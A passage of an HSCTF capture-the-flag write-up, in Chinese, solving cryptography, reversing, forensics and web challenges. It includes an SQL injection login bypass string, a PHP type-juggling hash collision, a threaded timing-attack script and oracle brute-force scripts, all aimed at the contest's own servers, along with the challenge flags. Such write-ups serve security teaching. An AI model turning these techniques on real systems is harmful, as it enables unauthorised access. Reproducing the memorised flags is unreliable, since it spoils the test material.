if (s[p++] != "BCDGPTVZ"[v2 >> 0x07 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x0E & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x1E & 0x3 | v2 >> 0x00 & 0x1])
{ flag = false; break; }
}
if (flag) {
fstream res("res", ios::out);

auto v1 = random();
auto v2 = random();
auto v3 = random();

res << ("BCDGPTVZ"[v1 >> 0x1E & 0x3 | v2 >> 0x00 & 0x1]);
res << ("BCDGPTVZ"[v1 >> 0x09 & 0x7]);
res << ("BCDGPTVZ"[v3 >> 0x05 & 0x7]);
res << ("BCDGPTVZ"[v3 >> 0x08 & 0x7]);
res << ("BCDGPTVZ"[v1 >> 0x15 & 0x7]);
res << ("BCDGPTVZ"[v1 >> 0x06 & 0x7]);
res << ("BCDGPTVZ"[v3 >> 0x1D & 0x7]);
res << ("BCDGPTVZ"[v1 >> 0x1B & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x04 & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x0D & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x0A & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x16 & 0x7]);
res << ("BCDGPTVZ"[v3 >> 0x1A & 0x7]);
res << ("BCDGPTVZ"[v3 >> 0x17 & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x1C & 0x7]);
res << ("BCDGPTVZ"[v3 >> 0x14 & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x01 & 0x7]);
res << ("BCDGPTVZ"[v1 >> 0x00 & 0x7]);
res << ("BCDGPTVZ"[v3 >> 0x11 & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x13 & 0x7]);
res << ("BCDGPTVZ"[v1 >> 0x18 & 0x7]);
res << ("BCDGPTVZ"[v3 >> 0x0B & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x19 & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x10 & 0x7]);
res << ("BCDGPTVZ"[v1 >> 0x03 & 0x7]);
res << ("BCDGPTVZ"[v1 >> 0x12 & 0x7]);
res << ("BCDGPTVZ"[v1 >> 0x0F & 0x7]);
res << ("BCDGPTVZ"[v1 >> 0x0C & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x07 & 0x7]);
res << ("BCDGPTVZ"[v3 >> 0x0E & 0x7]);
res << ("BCDGPTVZ"[v2 >> 0x1F & 0x1 | v3 >> 0x0 & 0x3]);

res.close();
cout << "[Found] i == " << i << endl;
break;
}
file.close();
}
cout << "[Finished] From " << st << " to " << ed << endl;
return 0;
}

Flag hsctf{y0u_kn0w_1_h4d_t0_d0_1t_t0_3m_rng_god}

[Cryptography] Reverse Search Algorithm

Written by: Tux

WWPHSN students, gotta get these points to boost your grade.

n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137
e = 65537
c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777

Solution

Just a simple RSA

1
2
3
4
5
6
7
8
9
10
11
12
import binascii, gmpy2

n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137
e = 65537
c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777

p = 29
q = 19378812610208711050554891591368513578428260883630885898953907471497427917962675301070084754463193723428901453
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)

print(binascii.unhexlify("%x" % pow(c, d, n)))

Flag hsctf{y3s_rsa_1s_s0lved_10823704961253}

[Cryptography] Super Secure System

Written by: Tux

Keith made a SUPER SECURE SYSTEM!!! He claims it is so secure as long as he doesn’t reuse his key…

nc crypto.hsctf.com 8111

Solution

這是 nc 過去的畫面

可以看到每個字元會被加密成一組兩位的 hex
且每個字元都是獨立的
如此我們可以直接去爆每個字元

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import string
from threading import Thread
import time

HOST = "crypto.hsctf.com"
PORT = 8111

flag = "hsctf{"
charset = string.printable

def find(f):
r = remote(HOST, PORT)
r.recvlines(3)
msg = r.recvline().split(": ")[1][:-1]
r.recvuntil("encrypt: ")
r.sendline(f)
r.recvline()
res = r.recvline().split(": ")[1][:-1]
global flag
if res == msg[:len(res)] and f.strip() == f:
flag = f
r.close()

while flag[-1] != '}':
threads = []
for ch in charset:
thread = Thread(target=find, args=(flag + ch, ))
threads.append(thread)
thread.start()
time.sleep(0.05)
for thread in threads:
thread.join()
print(flag)

Flag hsctf{h0w_d3d_y3u_de3cryP4_th3_s1p3R_s3cuR3_m355a9e?}

[Cryptography] A Lost Cause

Written by: Disha Name Credits: Shray

Pirate Keith loves cryptography and has protected his treasure with a very annoying caesar shift. He has witten “CGULKVIPFRGDOOCSJTRRVMORCQDZG” on his treasure chest and has left a piece of paper with the following message: “every subsequent letter is shifted one less than the previous.” Knowing this, can you unlock Pirate Keith’s treasure chest?

Solution

照題目要求把 shift 的值從 1 ~ 26 跑過一輪找可能的明文即可

1
2
3
ct = "CGULKVIPFRGDOOCSJTRRVMORCQDZG"
for shift in range(26):
print(''.join(chr((ord(ch) - ord('A') + (shift - (len(ct) - i)) + 26) % 26 + ord('A')) for (i, ch) in enumerate(ct)))

Flag hsctf{GLASSESAREUSEFULDONOTLOSETHEM}

[Cryptography] Massive RSA

Written by: cppio

I was scared that my RSA would be broken, so I made sure that the numbers were massive.

massive.txt

Solution

這題的 $n$ 是一個質數
根據 $\varphi$ 的定義 $\varphi(n) = n - 1$

1
2
3
4
5
6
7
8
9
10
11
12
import binascii, gmpy2

n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551
e = 65537
c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943

p = n
q = 1
phi = n - 1
d = gmpy2.invert(e, phi)

print(binascii.unhexlify("%x" % pow(c, d, n)))

Flag hsctf{forg0t_t0_mult1ply_prim3s}

[Cryptography] Really Secure Algorithm

Written by: cppio

I heard about RSA, so I took a go at implementing it.

secure.txt

Solution

這題的 $n$ 是一個完全平方數
假設 $n = k ^ 2$ 則 $\varphi(n) = k \times (k - 1)$

1
2
3
4
5
6
7
8
9
10
11
12
import binascii, gmpy2

n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609
e = 65537
c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847

p = 16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647
q = 16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647
phi = p * (p - 1)
d = gmpy2.invert(e, phi)

print(binascii.unhexlify("%x" % pow(c, d, n)))

Flag hsctf{square_number_time}

[Reversal] A Byte

Written by: ItzSomebody

Just one byte makes all the difference.

a-byte

Solution

從 IDA decompile 的結果來看
這個程式在做的事是將輸入的每個字元依序 xor 0x1
再去跟 105 114 98 117 103 122 118 49 118 94 120 49 116 94 106 111 49 118 94 101 53 94 118 64 50 94 57 105 51 99 64 49 51 56 124 0 比對

1
2
s = "105 114 98 117 103 122 118 49 118 94 120 49 116 94 106 111 49 118 94 101 53 94 118 64 50 94 57 105 51 99 64 49 51 56 124 0".split()
print(''.join(chr(int(i) ^ 0x1) for i in s))

Flag hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}

[Reversal] License

Written by: ItzSomebody

Description: Keith made a cool license-checking program but he forgot the flag he used to create the key! To make matters worse, he lost the source code and stripped the binary for his license-generator program. Can you help Keith recover his flag? All he knows is:

  • The license key is 4-EZF2M-7O5F4-V9P7O-EVFDP-E4VDO-O
  • He put his name (in the form of ‘k3ith’) as the first part of the flag
  • There are 3 underscores
  • The flag is in the format hsctf{}
  • The flag doesn’t have random character sequences (you should be able to read the entire flag easily).
  • The flag only contains lowercase English letters and numbers.
  • The generator might produce the same keys for different inputs because Keith was too lazy to write the algorithm properly.

license

Solution

暴力…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import string

charset = string.ascii_lowercase + string.digits + "{}_"
target = "4-EZF2M-7O5F4-V9P7O-EVFDP-E4VDO-O"
flag = "hsctf{k3ith"

while True:
is_same = True
for ch in charset:
r = process("./license")
r.recvuntil(": ")
r.sendline(flag + ch)
r.recvline()
res = r.recvline().strip()
r.close()
if res == target[:len(res)]:
is_same = False
flag += ch
print(flag)
with open("flag.txt", "w") as f:
f.write(flag)
break
if is_same:
break

print(flag)

Flag hsctf{k3ith_m4k3s_tr4sh_r3}

[Reversal] DaHeck

Written by: ItzSomebody

Unicode? …da heck?

DaHeck.java

Solution

直接照著原題的邏輯暴力即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import string

charset = string.printable

s = u"\uffc8\uffbd\uffce\uffbc\uffca\uffb7\uffc5\uffcb\u0005\uffc5\uffd5\uffc1\uffff\uffc1\uffd8\uffd1\uffc4\uffcb\u0010\uffd3\uffc4\u0001\uffbf\uffbf\uffd1\uffc0\uffc5\uffbb\uffd5\uffbe\u0003\uffca\uffff\uffda\uffc3\u0007\uffc2\u0001\uffd4\uffc0\u0004\uffbe\uffff\uffbe\uffc1\ufffd\uffb5"
heck = "001002939948347799120432047441372907443274204020958757273"

n = 0
flag = ""
while True:
try:
for ch in charset:
if ord(heck[n]) - ord(ch) < 0:
tmp = (ord(heck[n]) - ord(ch) % 128)
else:
tmp = (ord(heck[n]) - ord(ch) % 255)
if tmp & 0xff == ord(s[n]) & 0xff:
flag += ch
n += 1
break
except IndexError:
break

print(flag)

Flag hsctf{th4t_w4s_fun!_l3ts_try_s0m3_m0r3_r3v3rs3}

[Reversal] VirtualJava

Written by: ItzSomebody

There’s nothing like executing my own code in Java in my own special way.

VirtualJava.java

Solution

一樣暴力就好…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import subprocess, string

charset = string.ascii_letters + string.digits + "{}_"
cmd = "java _VirtualJava {}"
flag = "hsctf{"

for leng in range(len(flag) + 1, 32):
for ch in charset:
param = flag + ch + 'a' * (31 - leng)
c = cmd.format(param)
res = subprocess.check_output(c, shell=True).strip()
if "u" in res or int(res) == leng:
flag += ch
print(flag)
break

Flag hsctf{y0u_d3f34t3d_th3_b4by_vm}

[Reversal] Tux Talk Show 2019

Written by: Tux

Tux Talk Show 2019. Yes, this is trash.

nc rev.hsctf.com 6767

Trash

Solution

基本上就是 $\frac{1}{60}$ 的機率
爆一下就可以了

我這題開了 32 Thread ,不過其實不用那麼多
畢竟 $\frac{1}{60}$ 的機率其實不低

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from threading import Thread
from random import randint
import time

HOST = "rev.hsctf.com"
PORT = 6767

sum = 121 + 1231231 + 20312312 + 122342342 + 90988878 + (-30)

def run(id):
cnt = 0
while True:
r = remote(HOST, PORT)
r.recvuntil(": ")
guess = sum - randint(0, 60)
print("[Thread-{}] #{} : {}".format(id, cnt, guess))
#print(guess)
r.sendline(str(guess))
try:
res = r.recvline()
r.close()
print("[Found] [Thread-{}] #{} : {}".format(id, cnt, res))
with open(".flag", "w") as f:
f.write(res)
return
except EOFError:
r.close()
cnt += 1
continue

threads = []
thread_cnt = 32
for i in range(thread_cnt):
thread = Thread(target=run, args=(i, ))
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

Flag hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}

[Forensics] Chicken Crossing

Written by: Jeremy Hui

Keith is watching chickens cross a road in his grandfather’s farm. He once heard from his grandfather that there was something significant about this behavior, but he can’t figure out why. Help Keith discover what the chickens are doing from this seemingly simple behavior.

hsctf-chicken_crossing.jpg

Solution

strings 一下就出來了

Flag hsctf{2_get_2_the_other_side}

[Forensics] Cool Image

Written by: cppio

My friend told me he found a really cool image, but I couldn’t open it. Can you help me access the image?

cool.pdf

Solution

$ file cool.pdf
cool.pdf: PNG image data, 1326 x 89, 8-bit/color RGBA, non-interlaced
$ mv cool.pdf cool.png

打開即可看到 flag

Flag hsctf{who_uses_extensions_anyways}

[Forensics] Cool Image 2

Written by: cppio

My friend sent me this image, but I can’t open it. Can you help me open the image?

cool.png

Solution

$ head -3 cool.png
I found this cool file. Its really cool!
�PNG

把一開始的 I found this cool file. Its really cool! 刪掉即可正常開啟

Flag hsctf{sorry_about_the_extra_bytes}

[Forensics] Slap

Written by: Shray Vats, Jasper

Don’t get slapped too hard.

slap.jpg

Solution

$ exiftool slap.jpg | grep -oE "hsctf{.*}"
hsctf{twoslapsnonetforce}

Flag hsctf{twoslapsnonetforce}

[Forensics] Logo Sucks Bad

Written by: Tux

This logo sucks bad.

logo.png

Solution

$ zsteg logo.png
b1,r,msb,xy .. text: "NHzjjVhzXHh"
b1,rgb,lsb,xy .. text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis non velit rutrum, porttitor est a, porttitor nisi. Aliquam placerat nibh ut diam faucibus, ut auctor felis sodales. Suspendisse egestas tempus libero, efficitur finibus orci congue sit amet. Sed"
b2,g,lsb,xy .. text: "Q@E@A@A@E"
b4,r,lsb,xy .. text: "DEUTDEUTDEDTEEUTDEUUDUDTEUUUDEEUDEDUDEEUDUEUDUDUEEETDEEUDEDTEUETDUETDETTEDTTDEETETDUDUTTEUEUDEDTEUEUEUEUDDDTDUDUEEUUDUDTDEEUDggwfeDUEUDUDEDUETDUDEETDTDDDEUTEEEUDEDUDEEUEUEUDETTDUTTEEDTDEUTDDDUDEETDEDUETTTEEDTDEETEEUTDEDUDEUTDEEUDEEUDEEUDEEUEUDUDUDTEUEUDEEU"
b4,g,lsb,xy .. text: "UETUTUTDUUDUTUTDTETDUUDDTUDTDEDDTUTDDEDEUEDDTUTDTETUDEDDUUDDTUDDUETDTUTDTETDTETDTUDEUUTDTETDUUTDTETTTETDEEDTUUDTTEDTUUDDTUDvfg"
b4,b,lsb,xy .. text: "EDUDUDDDTEEEUDDDUDUTUETDTDEDTDEUUEDTTDUUUEUETEEEUEEDTDEDTEEUTDUUUDTDUDEUUDTDEEEUTDETUDTDUDETTEDDTEEDTEEUUDEDUGwfwfgfwgx"
b4,rgb,lsb,xy .. text: "EDUDETUUEUDTETEEETUEDTDDETTEEUDDEUDUEUEEETUEDTDDETEDETUUETUDETUUEUDTDTDDEUDUETTEEUEDDTDDETDEETUEETEEEUEDDTUDDTDDETDUETUUETUTEUDUETEEETDUEUEDETEEEUEDEUEEEUDTDTDDETDEETEDETTEEUDDETTEEUDUETDUETTEETUTETEUDTDDETEEETUDETTEEUEDDTUTDTDDEDEDEUEEETTEEUDUDTDDETUTETUU"
b4,bgr,lsb,xy .. text: "EETDDUUUEETTUEDEDUETEDTDUDTEEUDEDEUTUEEEDUETEDTDUEDDDUUUETTEUETEUUTDDDTDUDEETUDUEETETDDDDUDEETUEUEDEEUEDDTTETDDDDUTEETUUUETDUUTEEDUEUDDEUUEEDDUEUEEDEUEEEETTTDDDDUDEEDTEUDTEEUDEDTUDUDEETUTEETUDUETDTUUDEDTDUEDEDUEUDTUDUEEDDTUTDDTDEEDDEUEEETUDUDEETTDEDTTUUETE"
b4,rgba,lsb,xy .. text: "EOE_DOUOU_T_UOEOE_D_EOUOUOTOTODOE_EOEOU_DOD_UOE_E_T_EOUOUOTOTODOE_D_DOUOU_T_T_TOE_E_UOU_D_DOTODOE_TOUOUOTOT_UOTOD_DODOUODOT_T_T_E_D_EOU_EODOT_TOD_DODOUOD_T_T_U_E_E_TOU_D_T_TOT_E_DOUOU_EOD_TOT_E_T_DOU_EOT_UOEOD_DODOUODOT_TOTOE_EOEOU_DOD_T_D_E_TOUOUOD_T_T_D_"

可以比較可能的地方是 b1,rgb,lsb,xy
直接寫個 python extract 出來吧

1
2
3
4
5
6
7
8
9
10
11
12
13
from PIL import Image

img = Image.open("logo.png")
pix = img.load()
W, H = img.size

RGB = ""
for i in range(H):
for j in range(W):
r, g, b, alpha = pix[(j, i)]
RGB += str(r & 1) + str(g & 1) + str(b & 1)

print(''.join(chr(int(RGB[i:i+8], 2)) for i in range(0, len(RGB), 8)))

Flag hsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}

[Forensics] Double Trouble

Written by: Shray Vats

What is a koala anyway?

koala.png koala2.png

Solution

$ zsteg koala.png
imagedata .. text: "\n\n\n\n\n\n !"
b1,b,lsb,xy .. text: "%q&),52+"
b1,bgr,lsb,xy .. text: "<https://www.mediafire.com/file/0n67qsooy8hcy30/hmmm.txt/fileA"
b2,b,lsb,xy .. text: "6Z?gdF$T"
b2,b,msb,xy .. text: "{sXsE4}8"
b3,bgr,msb,xy .. text: "\";Cc_$y)*I"
b4,b,msb,xy .. text: "%BE##cgv"
$ zsteg koala2.png
imagedata .. text: "\n\n\n\n\n\n !"
b1,b,lsb,xy .. text: "%q&),52+"
b1,bgr,lsb,xy .. text: "passkey: whatdowehavehereJo"
b2,b,lsb,xy .. text: "6Z?gdF$T"
b2,b,msb,xy .. text: "{sXsE4}8"
b3,g,lsb,xy .. text: "Wg8je^i<"
b4,b,msb,xy .. text: "%BE##cgv"

訪問 https://www.mediafire.com/file/0n67qsooy8hcy30/hmmm.txt 並下載 hmmm.txt

$ file hmmm.txt
hmmm.txt: GPG symmetrically encrypted data (AES cipher)
$ echo "whatdowehavehere" | gpg -o res.txt hmmm.txt
$ cat res.txt
hsctf{koalasarethecutestaren'tthey?}

Flag hsctf{koalasarethecutestaren'tthey?}

[Web] Inspect Me

Written by: dwang

Keith’s little brother messed up some things…

https://inspect-me.web.chal.hsctf.com

Note: There are 3 parts to the flag!

Solution

Web = HTML + js + css

Flag hsctf{that_was_pretty_easy_right}

[Web] Agent Keith

Written by: dwang

Keith was looking at some old browsers and made a site to hold his flag.

https://agent-keith.web.chal.hsctf.com

Solution

可以看到前端的有一句註解 <!-- DEBUG (remove me!!): NCSA_Mosaic/2.0 (Windows 3.1) -->
把 User-Agent 改成 NCSA_Mosaic/2.0 (Windows 3.1) 就可以得到 flag 了

Flag hsctf{wow_you_are_agent_keith_now}

[Web] S-Q-L

Written by: dwang

Keith keeps trying to keep his flag safe. This time, he used a database and some PHP.

https://s-q-l.web.chal.hsctf.com/

Solution

很基本的 SQL Injection
Username 跟 Password 都填上 ' or '1'='1 就可以了

Flag hsctf{mysql_real_escape_string}

[Web] The Quest

Written by: cppio

You think you are worthy of obtaining the flag? Try your hand at The Quest to Obtain the Flag.

Solution

Google Form 會把整個 Form 的結構都寫在前端
包括標題、副標題、問題等
直接在前端搜尋 flag 即可

Flag hsctf{google_forms_regex_cant_stop_nobody}

[Web] md5—

Written by: dwang

md5— == md4

https://md5--.web.chal.hsctf.com

Note: If the link above doesn’t work, try https://md4.web.chal.hsctf.com

Solution

很明顯是 PHP 的 Type Juggling

1
2
3
4
5
6
7
8
9
<?
for ($i = 0;; $i++) {
$req = "0e" . $i;
$md4 = hash("md4", $req);
if (preg_match("/^0e[0-9]*$/", $md4)) {
echo $req . "\n";
break;
}
}

大約 3 分鐘以內就可以跑出一筆結果了 0e251288019

Flag hsctf{php_type_juggling_is_fun}

[Web] Networked Password

Written by: cppio

Storing passwords on my own server seemed unsafe, so I stored it on a seperate one instead. However, the connection between them is very slow and I have no idea why.

https://networked-password.web.chal.hsctf.com/

Solution

很明顯是 Timing Attack
直接上 code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests, string, time
from threading import Thread

charset = string.ascii_letters + string.digits + "{}_"

url = "https://networked-password.web.chal.hsctf.com/"

flag = "hsctf{"
flag = ""

def get(flag, arr):
data = {"password": flag}
t = time.time()
requests.post(url, data=data)
elasped = time.time() - t
arr.append((elasped, flag))

while True:
threads = []
pq = []
for ch in charset:
thread = Thread(target=get, args=(flag + ch, pq, ))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
pq.sort(reverse=True)
# for i in pq:
# print(i)
flag = pq[0][1]
print(flag)
if flag[-1] == '}':
break

print(flag)

Flag hsctf{sm0l_fl4g}